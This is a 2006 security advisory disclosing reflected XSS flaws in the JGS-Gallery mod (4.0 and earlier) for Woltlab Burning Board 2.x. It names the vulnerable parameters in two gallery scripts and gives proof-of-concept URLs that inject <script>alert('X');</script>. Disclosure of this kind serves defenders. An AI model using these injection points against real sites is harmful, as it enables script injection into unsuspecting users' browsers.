Advisory: Woltlab Burning Board 2.x (JGS-Gallery MOD <= 4.0) multiple XSS vulnerabilities

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–Security Report–
Advisory: Woltlab Burning Board 2.x (JGS-Gallery MOD <= 4.0) multiple XSS
vulnerabilities

Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI

Date: 24/02/06 04:43 PM

Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}

Vendor: JGS-XA (www.jgs-xa.com)
Version: 4.0 and prior versions must be affected.
About: Via this method remote attacker can make malicious links for clicking and
can when victim clicks this links victim's browser would be inject with XSS.
Level: Harmless

How&Example:
GET -> http://[site]/jgs_galerie_slideshow.php?sid=&katid=&userid=[XSS]
EXAMPLE ->
http://[site]/jgs_galerie_slideshow.php?sid=&katid=&userid=<script>alert('X');</script>
GET -> http://[site]/jgs_galerie_scroll.php?userid=[XSS]
EXAMPLE ->
http://[site]/jgs_galerie_scroll.php?userid=<script>alert('X');</script>
GET -> http://[site]/jgs_galerie_slideshow.php?sid=&katid=[XSS]&userid=
EXAMPLE ->
http://[site]/jgs_galerie_slideshow.php?sid=&katid=<script>alert('X');</script>&userid=

Timeline:

• 24/02/2006: Vulnerability found.
• 24/02/2006: Contacted with vendor and waiting reply.
  –
  Original advisory: http://www.nukedx.com/?viewdoc=11